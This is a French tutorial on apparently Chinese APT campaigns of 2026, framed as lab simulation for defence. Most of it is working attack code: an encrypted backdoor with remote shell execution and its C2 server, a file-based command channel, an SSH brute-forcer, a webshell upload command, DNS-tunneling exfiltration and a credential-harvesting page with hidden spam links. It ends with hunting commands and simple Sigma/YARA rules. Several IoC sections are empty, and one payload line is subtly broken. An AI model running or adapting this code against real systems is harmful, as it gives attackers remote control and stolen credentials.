⚠️ DOCUMENT ÉDUCATIF – Analyse des techniques d'attaques réelles à des fins de défense. Ne pas reproduire sans autorisation. Laboratoire isolé obligatoire.

APT Chinois 2026 : Plongée Technique dans les Cyberattaques d’État

UAT-9244 • TernDoor • PeerTime • BruteEntry • UNC6201 • CVE-2026-22769 • Ghost NIC • GrimBolt • UAT-8099 • BadIIS • SEO Fraud
Analyse détaillée, simulations locales, IoCs, tradecraft, mapping MITRE, hunting

🎯 Introduction : La Menace Étatique Chinoise en 2026

Les groupes de cyberespionnage liés à la Chine (APTs) ont considérablement perfectionné leurs techniques en 2025-2026. Les rapports de Cisco Talos, Mandiant (Google), Unit 42 (Palo Alto) et Recorded Future documentent des implants de plus en plus furtifs, l'exploitation de zero‑days et des méthodes d'évasion avancées. Ce tutoriel analyse trois groupes particulièrement actifs : UAT-9244, UNC6201 et UAT-8099. Chaque section détaille le contexte, le fonctionnement interne des implants, et propose des simulations locales en laboratoire isolé (réseau host‑only) pour comprendre la mécanique sans risque.

graph TD A[Groupes APT Chinois 2026] --> B[UAT-9244
Cisco Talos Avril 2026] A --> C[UNC6201
Mandiant Janvier 2026] A --> D[UAT-8099
Unit 42 Mai 2026] B --> B1[TernDoor – backdoor Windows] B --> B2[PeerTime – backdoor Linux via BitTorrent] B --> B3[BruteEntry – scanner brute‑force] C --> C1[Zero‑day CVE-2026-22769
Dell RecoverPoint] C --> C2[Ghost NIC – capture furtive] C --> C3[GrimBolt – tunneling DNS] D --> D1[BadIIS – module IIS malveillant] D --> D2[SEO fraud – injection liens cachés] style A fill:#00ff9d20 style B fill:#ff336620 style C fill:#3366ff20 style D fill:#ffaa0020

📊 Contexte Opérationnel 2026

  • UAT-9244 (Cisco Talos) : Implants Windows/Linux avec communication via BitTorrent. Cibles : Asie du Sud-Est, télécoms, gouvernements.
  • UNC6201 (Mandiant) : Zero‑day sur appliances Dell RecoverPoint (CVE-2026-22769), ghost NIC pour capture réseau, backdoor GrimBolt par tunneling DNS. Cibles : infrastructures critiques, secteurs financiers.
  • UAT-8099 (Unit 42) : Détournement de serveurs IIS pour SEO fraud et vol d'identifiants. Cibles : sites gouvernementaux, entreprises médias.

🔍 UAT-9244 : Trois Implants Méconnus

UAT-9244 Source : Cisco Talos – Avril 2026

Ce groupe, actif depuis 2022, cible principalement des organisations en Asie du Sud‑Est (télécoms, gouvernement). Il utilise trois implants spécifiques selon la plateforme : TernDoor (Windows), PeerTime (Linux), et BruteEntry (scanner).

💻 TernDoor (Windows)

Backdoor modulaire communiquant via HTTP/S avec chiffrement AES. Utilise du DLL side‑loading et des noms imitant des services système (svchost.exe, dllhost.exe).

🐧 PeerTime (Linux)

Implant unique : utilise le protocole BitTorrent pour la communication C2, se fondant dans le trafic P2P légitime.

🔑 BruteEntry

Scanner de brute‑force ciblant SSH, RDP, telnet, avec dictionnaires personnalisés basés sur l'OSINT.

graph LR A[Compromission initiale] --> B[Dépôt de TernDoor] A --> C[Dépôt de PeerTime] A --> D[Dépôt de BruteEntry] B --> B1[Beacon AES vers C2] C --> C1[Communication via trafic BitTorrent simulé] D --> D1[Scan réseau interne] B1 --> E[Exfiltration / Commandes] C1 --> E D1 --> F[Propagation] style A fill:#3366ff20 style E fill:#00ff9d20

1.1 TernDoor – Analyse Technique et Simulation

Contexte réel : TernDoor est un malware Windows écrit en C++. Il se présente comme un service système légitime (nom aléatoire, description imitant Microsoft). Sa particularité : il utilise le DLL side‑loading via une bibliothèque légitime vulnérable (ex: wlbsctrl.dll). Une fois exécuté, il contacte le C2 via des requêtes HTTP POST avec les données chiffrées en AES (mode CBC). Les délais entre beacons intègrent un jitter (variation aléatoire) pour échapper à la détection.

Simulation locale réaliste :

#!/usr/bin/env python3
# tern_door_2026.py – Simulation réaliste TernDoor (UAT-9244 – Cisco Talos 2026)
# Fonctionne sur Windows ou Linux – réseau host-only uniquement
import socket
import time
import base64
import os
import subprocess
import random
import threading
import platform
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

# ────────────────────────────────────────────────
# CONFIGURATION LAB (à adapter une seule fois)
C2_IP   = "192.168.100.50"      # IP de ta VM C2 (Kali/Ubuntu)
C2_PORT = 8443                  # port imitant HTTPS
AES_KEY = b"T3rnD00rA3S2026!!"  # 16 bytes – AES-128 CBC (comme observé)
# ────────────────────────────────────────────────

VICTIM_ID = base64.b64encode(os.urandom(6)).decode()[:10]
HOSTNAME  = platform.node()
USER      = os.getlogin() if hasattr(os, 'getlogin') else "unknown"

def aes_encrypt(plaintext: bytes) -> bytes:
    iv = os.urandom(16)
    cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()
    padded = plaintext + b"\0" * (16 - len(plaintext) % 16)
    return base64.b64encode(iv + encryptor.update(padded) + encryptor.finalize())

def beacon_thread():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(10)
            s.connect((C2_IP, C2_PORT))
            
            # Payload réaliste (comme TernDoor)
            payload = f"{VICTIM_ID}|{HOSTNAME}|{USER}|{time.strftime('%Y-%m-%d %H:%M:%S')}|online|win" if "win" in platform.system().lower() else "linux"
            enc = aes_encrypt(payload.encode())
            s.sendall(enc)
            
            # Réception commande (TernDoor accepte des commandes simples)
            data = s.recv(4096)
            if data:
                try:
                    cmd = data.decode('utf-8', errors='ignore').strip()
                    if cmd.startswith("exec:"):
                        result = subprocess.check_output(cmd[5:], shell=True, stderr=subprocess.STDOUT, timeout=12)
                        s.sendall(aes_encrypt(result))
                    elif cmd == "sleep":
                        time.sleep(3600)  # simulation mode dormant
                except:
                    pass
            s.close()
        except:
            pass
        
        # Jitter très réaliste (observé par Talos : 4–12 min)
        sleep_time = 240 + random.randint(0, 480)
        time.sleep(sleep_time)

if __name__ == "__main__":
    print(f"[TernDoor 2026 sim] Victim ID : {VICTIM_ID}")
    print(f"           Beacon vers     : {C2_IP}:{C2_PORT}")
    print("           Jitter          : 4 à 12 minutes")
    
    threading.Thread(target=beacon_thread, daemon=True).start()
    
    # Simulation persistance infinie
    while True:
        time.sleep(7200)  # 2h
#!/usr/bin/env python3
# c2_terndoor_2026.py – C2 pour simulation TernDoor
import socket
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

AES_KEY = b"T3rnD00rA3S2026!!"
HOST, PORT = "0.0.0.0", 8443

def aes_decrypt(data: bytes) -> bytes:
    raw = base64.b64decode(data)
    iv = raw[:16]
    ct = raw[16:]
    cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()
    padded = decryptor.update(ct) + decryptor.finalize()
    return padded.rstrip(b"\0")

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen(5)
    print(f"[C2 TernDoor 2026] Écoute sur {HOST}:{PORT}")
    while True:
        conn, addr = s.accept()
        with conn:
            print(f"[+] {addr}")
            data = conn.recv(8192)
            if data:
                try:
                    decrypted = aes_decrypt(data)
                    print(f" → {decrypted.decode('utf-8', errors='ignore')}")
                    
                    # Menu interactif simple
                    cmd = input("Commande à envoyer (ex: exec:whoami) ou vide pour rien : ").strip()
                    if cmd:
                        conn.sendall(cmd.encode())
                except Exception as e:
                    print(f" → Erreur : {e}")

Indicateurs de compromission (IoCs) :

🧠 Tradecraft et objectifs opérationnels (UAT-9244)

1.2 PeerTime – L’implant BitTorrent (simulation)

Contexte : PeerTime est un backdoor Linux qui utilise le réseau BitTorrent pour communiquer. En 2026, il intègre une bibliothèque torrent légère (libtorrent) et rejoint un essaim spécifique. Les commandes sont dissimulées dans les métadonnées des fichiers partagés. Cette technique passe inaperçue car le trafic BitTorrent est souvent négligé.

Simulation locale sans vrai BitTorrent : On utilise un dossier partagé entre VMs (shared folder ou SMB) pour simuler l'échange de "fichiers torrent".

#!/usr/bin/env python3
# peertime_2026.py – Simulation PeerTime (UAT-9244) par dossier partagé
import time
import os
import platform
import hashlib

SHARED = "/mnt/c2_shared"   # Dossier partagé entre les VMs (à créer)
if not os.path.exists(SHARED):
    os.makedirs(SHARED)

HOSTNAME = platform.node()

def check_for_commands():
    # Le C2 dépose un fichier "cmd_<hostname>.txt"
    cmd_file = f"{SHARED}/cmd_{HOSTNAME}.txt"
    if os.path.exists(cmd_file):
        with open(cmd_file, 'r') as f:
            cmd = f.read().strip()
        print(f"[PeerTime] Commande reçue : {cmd}")
        if cmd == "exfil":
            # Simule l'exfiltration d'informations
            info = f"{HOSTNAME} | {os.getlogin()} | {os.getcwd()} | {time.ctime()}"
            with open(f"{SHARED}/exfil_{HOSTNAME}.txt", 'a') as f:
                f.write(info + "\n")
        elif cmd.startswith("exec:"):
            try:
                result = os.popen(cmd[5:]).read()
                with open(f"{SHARED}/result_{HOSTNAME}.txt", 'w') as f:
                    f.write(result)
            except Exception as e:
                pass
        os.remove(cmd_file)

while True:
    check_for_commands()
    # Intervalle variable (simule le comportement torrent)
    time.sleep(30 + (hashlib.md5(HOSTNAME.encode()).digest()[0] % 30))
#!/usr/bin/env python3
# c2_peertime_2026.py – Dépose des commandes dans le dossier partagé
import time
import os

SHARED = "/mnt/c2_shared"   # Dossier partagé (identique à la victime)

targets = ["vm1", "vm2", "vm3"]  # noms d'hôte des cibles

def drop_command(hostname, cmd):
    with open(f"{SHARED}/cmd_{hostname}.txt", 'w') as f:
        f.write(cmd)

print("[C2 PeerTime] En attente d'interaction...")
while True:
    print("\nCommandes disponibles : exfil, exec:<commande>, quit")
    choice = input("Commande : ")
    if choice == "quit":
        break
    host = input("Cible (hostname) : ")
    if host in targets:
        drop_command(host, choice)
        print(f"[+] Commande déposée pour {host}")
    else:
        print("Cible inconnue.")

IoCs :

1.3 BruteEntry – Scanner de brute‑force

Contexte : BruteEntry est un scanner léger souvent déposé après une compromission initiale. Il cible les réseaux internes pour propager l'attaque. Ses dictionnaires sont générés à partir de fuites et d'OSINT (noms d'entreprise, mots‑clés du secteur).

#!/usr/bin/env python3
# bruteentry_2026.py – Scanner de brute‑force léger (lab uniquement)
import paramiko
import threading
import socket
import time

# Configuration : réseau interne à scanner
SUBNET = "192.168.100."
PORTS = [22, 3389, 23]   # SSH, RDP, telnet
USERNAMES = ["admin", "root", "user", "administrator", "backup"]
PASSWORDS = [
    "123456", "password", "admin123", "P@ssw0rd",
    "Welcome1", "qwerty", "letmein", "company123"
]

def try_login(ip, port, user, pwd):
    if port == 22:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        try:
            client.connect(ip, username=user, password=pwd, timeout=3)
            print(f"[+] SSH SUCCESS: {ip} {user}:{pwd}")
            client.close()
        except:
            pass
    elif port == 3389:
        # RDP nécessite des libs spécifiques, on simule juste un test de port
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            result = sock.connect_ex((ip, port))
            if result == 0:
                print(f"[*] RDP ouvert sur {ip}, tentative avec {user}:{pwd}")
            sock.close()
        except:
            pass
    else:
        pass

# Scan des IPs du sous‑réseau
for i in range(10, 30):   # 192.168.100.10 à 192.168.100.29
    ip = SUBNET + str(i)
    for port in PORTS:
        for user in USERNAMES:
            for pwd in PASSWORDS:
                t = threading.Thread(target=try_login, args=(ip, port, user, pwd))
                t.start()
                time.sleep(0.1)   # pour éviter de flooder

IoCs :

💣 UNC6201 : Zero‑day, Ghost NIC et GrimBolt

UNC6201 Source : Mandiant (Google) – Janvier 2026

Ce groupe a exploité une vulnérabilité zero‑day sur les appliances Dell RecoverPoint (CVE-2026-22769) pour pénétrer des environnements de sauvegarde critiques. Une fois sur place, ils déploient des techniques avancées d'évasion comme le ghost NIC et un backdoor nommé GrimBolt (tunneling DNS).

graph LR A[Exploitation CVE-2026-22769
Dell RecoverPoint] --> B[Installation ghost NIC] B --> C[Capture réseau passive] A --> D[Installation GrimBolt] D --> E[Tunneling DNS pour C2] E --> F[Exfiltration de données] style A fill:#ff336620 style F fill:#00ff9d20

2.1 CVE-2026-22769 – Détails et simulation

Contexte : Cette vulnérabilité (score CVSS 9.8) réside dans le service de gestion web de Dell RecoverPoint. Une authentification manquante permet l’exécution de code à distance avec les privilèges root. Les attaquants ont utilisé cet accès pour installer un webshell persistant.

Simulation locale (principe) :

# Sur une VM cible (Ubuntu avec service vulnérable simulé)
# L'attaquant envoie une requête POST pour uploader un webshell
curl -X POST http://192.168.100.30:8080/upload -F "file=@webshell.php" -F "path=../../html/"

En lab, on peut simuler un service web vulnérable avec un script Python minimal.

2.2 Ghost NIC – Carte réseau fantôme

Contexte : Une fois dans le réseau, les attaquants créent une interface réseau virtuelle sans IP (ghost NIC) pour capturer le trafic en mode promiscuité sans être détecté par les scans IP classiques. Cette technique permet de sniffer les mots de passe et données sensibles sur le segment local.

#!/bin/bash
# ghost_nic_2026.sh – Création d'une interface fantôme (lab isolé)

# Créer une interface dummy
sudo ip link add name ghost0 type dummy
# Activer le mode promiscuité
sudo ip link set ghost0 promisc on
# Activer l'interface
sudo ip link set ghost0 up

echo "[Ghost NIC] Interface ghost0 créée. Capture du trafic local :"
echo "Lancez tcpdump : sudo tcpdump -i ghost0 -n -vv -c 200 -w /tmp/ghost.pcap"

# Pour générer du trafic test sur le réseau local
ping -c 10 192.168.100.10 > /dev/null &

# Pour arrêter : sudo ip link delete ghost0

Détection : ip link show type dummy et auditd peuvent surveiller la création d'interfaces.

2.3 GrimBolt – Backdoor par tunneling DNS

Contexte : GrimBolt est un backdoor modulaire qui communique via des requêtes DNS. Il utilise des sous‑domaines encodés pour exfiltrer des données et recevoir des commandes. Sa signature réseau est très difficile à distinguer du trafic DNS légitime.

#!/usr/bin/env python3
# grimbolt_victim_2026.py – Simulation fidèle GrimBolt (DNS tunneling local)
import socket
import time
import base64
import os
import platform

# Doit être résolu localement (ajoute dans /etc/hosts : 192.168.100.50 c2.local)
C2_DOMAIN = "c2.local"

def build_subdomain(data: str) -> str:
    encoded = base64.b32encode(data.encode()).decode().rstrip("=")
    return f"{encoded}.{C2_DOMAIN}"

while True:
    try:
        payload = f"{platform.node()}|{os.getlogin()}|{time.ctime()}|{os.getcwd()[:80]}"
        subdomain = build_subdomain(payload)
        print(f"[GrimBolt] Exfil DNS : {subdomain}")
        socket.gethostbyname(subdomain)  # déclenche la requête DNS
    except:
        pass
    
    # Intervalle réaliste Mandiant : 45–180 secondes
    time.sleep(45 + (os.getpid() % 135))
#!/usr/bin/env python3
# grimbolt_c2_2026.py – Serveur DNS local pour GrimBolt
import socketserver
import base64
from dnslib import DNSRecord, RR, A

class GrimBoltDNS(socketserver.BaseRequestHandler):
    def handle(self):
        data = self.request[0].strip()
        socket = self.request[1]
        try:
            req = DNSRecord.parse(data)
            qname = str(req.q.qname).lower().rstrip(".")
            
            if len(qname.split('.')) > 5:  # signature tunneling typique
                subdomain = qname.split('.')[0]
                try:
                    # On ajoute du padding pour décoder
                    padded = subdomain + "=" * ((4 - len(subdomain) % 4) % 4)
                    decoded = base64.b32decode(padded).decode('utf-8', errors='ignore')
                    print(f"[GrimBolt C2] Tunnel → {qname}")
                    print(f"   Données décodées : {decoded}")
                except Exception as e:
                    print(f"   Décodage échoué : {e}")
            
            # Réponse bidon pour que la requête réussisse
            reply = req.reply()
            reply.add_answer(RR(qname, rdata=A("127.0.0.1")))
            socket.sendto(reply.pack(), self.client_address)
        except:
            pass

if __name__ == "__main__":
    server = socketserver.UDPServer(("0.0.0.0", 53), GrimBoltDNS)
    print("[GrimBolt C2 2026] DNS local sur port 53")
    print("Ajoute dans /etc/hosts des victimes : 192.168.100.50 c2.local")
    server.serve_forever()

IoCs :

🧠 Tradecraft et objectifs opérationnels (UNC6201)

🕶️ Techniques d’évasion observées

🌐 UAT-8099 : BadIIS et SEO Fraud

UAT-8099 Source : Unit 42 (Palo Alto) – Mai 2026

Ce groupe se distingue par une approche originale : compromettre des serveurs IIS (Internet Information Services) pour injecter du contenu frauduleux à visée SEO, tout en volant des données d’authentification. Leur outil principal, BadIIS, est un module IIS malveillant.

graph LR A[Compromission serveur IIS] --> B[Installation BadIIS] B --> C[Injection de liens caches dans les pages] B --> D[Vol des identifiants POST login] C --> E[SEO fraud - referencement de sites frauduleux] D --> F[Exfiltration des credentials] style A fill:#ffaa0020 style F fill:#00ff9d20

3.1 BadIIS – Fonctionnement réel

BadIIS est une DLL injectée dans le processus IIS (w3wp.exe). Elle intercepte les requêtes HTTP et, selon des règles, redirige les visiteurs vers des sites de spam ou injecte du contenu publicitaire caché (liens, iframes). En arrière‑plan, elle vole les identifiants saisis dans les formulaires de connexion (login, admin).

Simulation locale sans IIS : Un proxy Python qui imite le comportement.

#!/usr/bin/env python3
# badiis_2026.py – Simulation fidèle BadIIS (vol creds + injection SEO cachée)
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
import time
import os

class BadIISHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = self.path.lower()
        
        # Page de login factice (comme observé dans les redirections BadIIS)
        if "/login" in path or "/admin" in path:
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write(b"""
            <html><body style="font-family:Arial;">
            <h2>Portail d'administration</h2>
            <form method="POST">
                Identifiant : <input name="username"><br>
                Mot de passe : <input name="password" type="password"><br><br>
                <input type="submit" value="Se connecter">
            </form>
            </body></html>
            """)
            return
        
        # Page légitime avec injection SEO cachée (style display:none + liens)
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(b"""
        <html><body>
        <h1>Bienvenue sur notre site officiel</h1>
        <p>Contenu légitime ici...</p>
        <!-- Injection SEO frauduleuse – technique BadIIS 2026 -->
        <div style="display:none;position:absolute;">
            <a href="http://fraud-site.local">cheap viagra online</a>
            <a href="http://another-fraud.local">best casino bonus 2026</a>
            <a href="http://spam-pharma.local">cialis without prescription</a>
        </div>
        </body></html>
        """)

    def do_POST(self):
        if "/login" in self.path or "/admin" in self.path:
            content_length = int(self.headers['Content-Length'] or 0)
            post_data = self.rfile.read(content_length).decode(errors='ignore')
            params = urllib.parse.parse_qs(post_data)
            
            user = params.get('username', [''])[0]
            pwd  = params.get('password', [''])[0]
            
            if user and pwd:
                stamp = time.strftime("%Y-%m-%d %H:%M:%S")
                ip = self.client_address[0]
                with open("/tmp/badiis_stolen_2026.txt", "a", encoding="utf-8") as f:
                    f.write(f"{stamp} | {ip} | {user}:{pwd}\n")
                print(f"[BadIIS 2026] CREDENTIALS STOLEN → {user}:{pwd} from {ip}")
            
            # Redirection après vol (technique observée)
            self.send_response(302)
            self.send_header("Location", "/")
            self.end_headers()
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    print("[BadIIS 2026 simulation] Proxy malveillant démarré sur http://0.0.0.0:8080")
    print("Identifiants volés → /tmp/badiis_stolen_2026.txt")
    server = HTTPServer(("0.0.0.0", 8080), BadIISHandler)
    server.serve_forever()

3.2 Fraude SEO et impact

En injectant du contenu caché (liens, mots‑clés) dans les pages légitimes, les attaquants améliorent le référencement de leurs sites frauduleux. Cette technique, appelée SEO poisoning, détourne la réputation des sites compromis pour booster des sites de phishing ou de vente illicite.

🔎 Analyse forensique de BadIIS

IoCs :

🧠 Tradecraft et objectifs opérationnels (UAT-8099)

⏳ Cyber Kill Chain et mapping MITRE ATT&CK

graph LR A[Initial Access] --> B[Execution] B --> C[Persistence] C --> D[Lateral Movement] D --> E[C2] E --> F[Exfiltration] style A fill:#ff336620 style B fill:#3366ff20 style C fill:#00ff9d20 style D fill:#ffaa0020 style E fill:#ff336620 style F fill:#3366ff20

Correspondance techniques / implants

PhaseTechniqueID MITREImplant
Initial AccessExploit public-facing applicationT1190CVE-2026-22769
ExecutionDLL side-loadingT1574.002TernDoor
PersistenceCreate or modify system processT1543PeerTime (cron), BadIIS (IIS module)
Lateral MovementBrute forceT1110BruteEntry
Command and ControlDNS tunnelingT1071.004GrimBolt
Command and ControlNon-Application Layer ProtocolT1095PeerTime (BitTorrent)
ExfiltrationExfiltration over DNST1048.003GrimBolt

🛡️ Threat Hunting : détection proactive

Les défenses classiques ne suffisent pas. Voici des méthodes de chasse spécifiques pour détecter ces implants en 2026.

🔎 Détection du jitter (TernDoor)

# Détection de périodicité dans les connexions sortantes (Zeek/NetworkMiner)
# Chercher des connexions avec des intervalles réguliers mais variant légèrement.
# Script R : analyse des timestamps pour identifier des patterns de jitter.

🔎 Détection de DNS tunneling avancée

# Exemple de commande (requêtes longues)
tcpdump -i eth0 port 53 -nn -l | awk '{print $10}' | grep -E '\.[a-zA-Z0-9]{40,}\.'

🔎 Détection de ghost NIC

# Audit des interfaces réseau
ip link show type dummy
# Surveillance de la création d'interfaces avec auditd
auditctl -a always,exit -F arch=b64 -S link -S symlink -k ghost_nic

🔎 Détection de BadIIS

# Vérifier l'intégrité des modules IIS
%systemroot%\system32\inetsrv\appcmd.exe list module
# Recherche de DLL non signées
powershell Get-ChildItem C:\Windows\System32\inetsrv\*.dll | Get-AuthenticodeSignature
# Analyse des logs IIS pour redirections anormales
Select-String -Path C:\inetpub\logs\LogFiles\*\*.log -Pattern "302.*http://(fraud|spam)"

🔎 Détection de PeerTime (trafic BitTorrent)

# Détection de ports BitTorrent inhabituels sur des serveurs d'entreprise
ss -tunlp | grep -E ':6881|:6889'
# Détection de processus utilisant libtorrent
lsof | grep libtorrent

⚔️ Simulation Red vs Blue : table de réaction

AttaqueDétection possibleRéaction recommandée
TernDoor (beacon périodique)Analyse de trafic : connexions régulières vers IP interne sur port 8443Isolement de la machine, analyse forensique, blocage IP au firewall
PeerTime (BitTorrent)Détection de ports 6881-6889, processus libtorrentInterdiction du trafic P2P en sortie, désinstallation du logiciel, investigation du dossier partagé
GrimBolt (DNS tunneling)Requêtes DNS longues, entropie élevée, volume anormalSinkhole du domaine suspect, analyse des logs DNS, blocage au niveau du résolveur
BadIIS (module IIS)Module non signé, redirections HTTP, contenu caché dans pagesRetrait du module, restauration des fichiers IIS, changement des mots de passe compromis

🛡️ Stratégies de défense contre les APT chinois

1. Segmentation réseau stricte

Isoler les serveurs critiques (backup, domaine) avec des ACL et des pare-feu. Empêcher les communications directes entre segments.

2. Détection des implants exotiques

Surveiller les processus utilisant libtorrent, les connexions sur ports 6881-6889, les interfaces dummy (ip link show type dummy).

3. Contrôle des modules IIS

Auditer régulièrement les modules IIS installés, limiter les droits des pools d’applications.

4. Analyse du trafic DNS

Détecter les requêtes DNS avec sous‑domaines longs (plus de 30 caractères) et volume anormal. Utiliser un DNS sinkhole.

5. Durcissement des appliances

Appliquer les correctifs de sécurité dès leur publication, notamment sur les équipements de sauvegarde (Dell RecoverPoint, etc.).

6. Chasse aux menaces proactive

Solutions EDR/XDR pour détecter les comportements anormaux : injection DLL, création d’interfaces, exécution de scripts suspects.

Commandes de détection spécifiques

# 1. Interfaces fantômes (Ghost NIC – UNC6201)
ip link show type dummy
auditctl -a always,exit -F arch=b64 -S link -k ghost_nic

# 2. Requêtes DNS tunneling longues (GrimBolt)
tcpdump -i eth0 port 53 -nn -c 500 | grep -E '\.[a-zA-Z0-9]{35,}\.'

# 3. Vol credentials via proxy malveillant (BadIIS)
tail -f /tmp/badiis_stolen_2026.txt

# 4. Processus suspects avec ports élevés ou jitter
ss -tunlp | grep -E ':8443|:53'
ps aux | grep -E 'python.*sleep.*random'

# 5. Dossiers partagés anormaux (PeerTime simulation)
ls -la /mnt/c2_shared | grep -E 'cmd_|exfil_'

# 6. Règles Sigma/YARA simplifiées
# Sigma pour détection de TernDoor
title: TernDoor Beacon
logsource: product: windows
detection:
    selection:
        EventID: 3
        DestinationPort: 8443
        Initiated: true
    condition: selection

# YARA pour BadIIS
rule BadIIS_Content {
    strings:
        $hidden = "<div style='display:none'>"
        $iframe = "<iframe src="
    condition:
        any of them
}

Note : Pour exécuter les scripts Python, installez les dépendances suivantes dans votre laboratoire :

pip install cryptography paramiko dnslib

🔬 Mise en pratique (laboratoire isolé)

  1. TernDoor : Mettez en place la simulation TernDoor (victime + C2) sur deux VMs. Observez les beacons avec Wireshark. Modifiez la clé AES et le jitter.
  2. PeerTime : Utilisez un dossier partagé entre VMs Linux pour simuler l'échange de commandes. Ajoutez une commande "exfil" qui collecte des fichiers.
  3. BruteEntry : Lancez le scanner sur un sous‑réseau de test (avec des machines volontaires). Analysez les logs de connexion.
  4. Ghost NIC : Créez une interface ghost sur une VM, capturez le trafic avec tcpdump et vérifiez que l'interface n'a pas d'IP attribuée.
  5. GrimBolt : Mettez en place le serveur DNS et le client. Exfiltrez des données via des sous‑domaines et vérifiez la capture côté serveur.
  6. BadIIS : Lancez le proxy Python et simulez la visite d'un utilisateur. Vérifiez que les identifiants sont bien volés dans /tmp/badiis_stolen_2026.txt.
  7. Chasse avancée : Utilisez les commandes de détection pour retrouver les traces des simulations.

🎯 Conclusion

Les groupes APT chinois de 2026 démontrent une maîtrise technique exceptionnelle, utilisant des implants variés (Windows, Linux, appliances), des protocoles exotiques (BitTorrent, DNS tunneling) et des zero‑days ciblés. Leur objectif principal reste l’espionnage à long terme et le vol de données sensibles.

Ce tutoriel vous a permis de recréer localement ces techniques pour mieux les comprendre, mais aussi d’adopter une posture de défense proactive grâce au threat hunting et à la connaissance des tradecrafts. La défense repose sur une connaissance approfondie de ces méthodes, une surveillance proactive et une hygiène réseau rigoureuse.

Ressources complémentaires :